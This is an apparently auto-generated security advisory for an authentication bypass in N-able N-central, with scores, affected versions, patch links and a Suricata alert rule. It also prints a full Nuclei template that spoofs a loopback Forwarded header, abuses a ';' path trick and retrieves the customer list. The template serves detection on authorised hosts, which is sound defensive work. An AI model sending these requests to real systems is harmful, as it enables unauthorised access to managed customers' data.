CVE-2026-86207: Authentication bypass leads to unauthorised access to N-central
Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.
Generated by VEDAS. Scores as of 2026-11-11 15:49 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.
What it is
An authentication bypass in N-central < 2026.3 HF 3 leads to authentication bypass in internal only APIs
Description quoted from the CVE record (assigned by N-able, published 2026-09-05).
Weakness: CWE-305 Authentication bypass by primary weakness
How it can be exploited
Exploitable over the network with low attack complexity only when specific conditions are present needing low privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CISA assessment (SSVC): CISA has no evidence of exploitation. Automatable: no. Technical impact: total.
Public exploit evidence (Exploit Observer)
Exploit Observer found 1 Nuclei template and 5 code repositories naming this CVE.
Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.
See all 10 references on Exploit Observer
Live scores
- EPSS
- 0.013
some chance of attack soon - VEDAS
- 0.981
strong exploit evidence - On CISA KEV
- Not listed
Who is affected
| Product | Affected | Not affected |
|---|---|---|
| N-able N-central | before 2026.3.1.13 | Not stated |
Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.
How to fix it
Fixed versions stated in the CVE record: 2026.3.1.13.
Vendor guidance:
- https://documentation.n-able.com/N-central/Release_Notes/GA/Content/N-central_2026.3_HF3_Release_Notes.htm (release-notes)
- https://me.n-able.com/s/security-advisory/aArVy0000002LUzKAM/cve202686207-authentication-bypass-leads-to-unauthorised-access-to-ncentral (vendor-advisory)
How to detect it
Nuclei template (active check)
Nable - Authentication Bypass
An authentication bypass in N-central < 2026.3 HF 3 leads to authentication bypass in internal only APIs
Name and description quoted from the template, written by VEDAS.
The template sends 3 requests (POST /dms;/services/ServerUI, POST /dms;/services/ServerUI, POST /dms;/services/ServerUI); it decides using dsl, regex matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.
Run it against a host you own or are authorised to test:
nuclei -u https://your-host -t CVE-2026-86207.yamlShow the template (111 lines)
id: CVE-2026-86207
info:
name: "Nable - Authentication Bypass"
author: vedas-arpsyndicate
severity: critical
description: |
An authentication bypass in N-central < 2026.3 HF 3 leads to authentication bypass in internal only APIs
reference:
- https://www.exploit.observer/?keyword=CVE-2026-86207&match=exact
- https://subdomain.center/?engine=ammonites&keyword=nable&match=exact
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-86207
cwe-id: CWE-287
metadata:
verified: false
tags: cve,cve2026,n-able,n-central,auth-bypass,2fa-bypass,soap,vkev,nable
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
POST /dms;/services/ServerUI HTTP/1.1
Host: {{Hostname}}
Forwarded: for="127.0.0.\1"
Content-Type: text/xml; charset=utf-8
SOAPAction: ""
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ei="http://ei.server.nable.com">
<soapenv:Body>
<ei:sessionHello>
<ei:in0>3</ei:in0>
</ei:sessionHello>
</soapenv:Body>
</soapenv:Envelope>
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "contains_all(body, 'SessionID')"
- "contains(content_type, 'text/xml')"
condition: and
internal: true
extractors:
- type: regex
name: session_id
part: body
group: 1
regex:
- '<SessionID[^>]*>([0-9]+)</SessionID>'
internal: true
- raw:
- |
POST /dms;/services/ServerUI HTTP/1.1
Host: {{Hostname}}
Forwarded: for="127.0.0.\1"
Content-Type: text/xml; charset=utf-8
SOAPAction: ""
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ei="http://ei.server.nable.com">
<soapenv:Body>
<ei:userTwoFactorLogin>
<ei:sessionID>{{session_id}}</ei:sessionID>
<ei:userID>1</ei:userID>
<ei:password>dummy</ei:password>
</ei:userTwoFactorLogin>
</soapenv:Body>
</soapenv:Envelope>
matchers:
- type: dsl
dsl:
- "status_code == 500"
- "contains_all(body, 'ConfigProfileUtils.getConfigProfile()', 'NullPointerException')"
condition: and
internal: true
- raw:
- |
POST /dms;/services/ServerUI HTTP/1.1
Host: {{Hostname}}
Forwarded: for="127.0.0.\1"
Content-Type: text/xml; charset=utf-8
SOAPAction: ""
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ei="http://ei.server.nable.com">
<soapenv:Body>
<ei:customerList>
<ei:in0>{{session_id}}</ei:in0>
<ei:in1>1</ei:in1>
<ei:in2>true</ei:in2>
<ei:in3>false</ei:in3>
</ei:customerList>
</soapenv:Body>
</soapenv:Envelope>
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "contains_all(body, 'customerListResponse', '<CustomerID', '<CustomerName')"
- "contains(content_type, 'text/xml')"
condition: and
Suricata rules (network detection)
1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-86207 Nable - Authentication Bypass. Add them to your Suricata rule set and reload.
Show the rules
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-86207 Nable - Authentication Bypass"; flow:established,to_server; http.uri; content:"services"; nocase; http.request_body; content:"http://"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2026-86207; reference:url,https://www.exploit.observer/?keyword=CVE-2026-86207&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=nable&match=exact; sid:1010361; rev:1;)
CVE-2026-86207.rules on GitHub
Advisories on this CVE
- N-able takes N-central offline after 33 alleged zero-days are published (Able2Shell) (full advisory)
References
Vendor advisories and patches
- https://documentation.n-able.com/N-central/Release_Notes/GA/Content/N-central_2026.3_HF3_Release_Notes.htm (release-notes)
- https://me.n-able.com/s/security-advisory/aArVy0000002LUzKAM/cve202686207-authentication-bypass-leads-to-unauthorised-access-to-ncentral (vendor-advisory)
Other databases
Where this comes from
This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.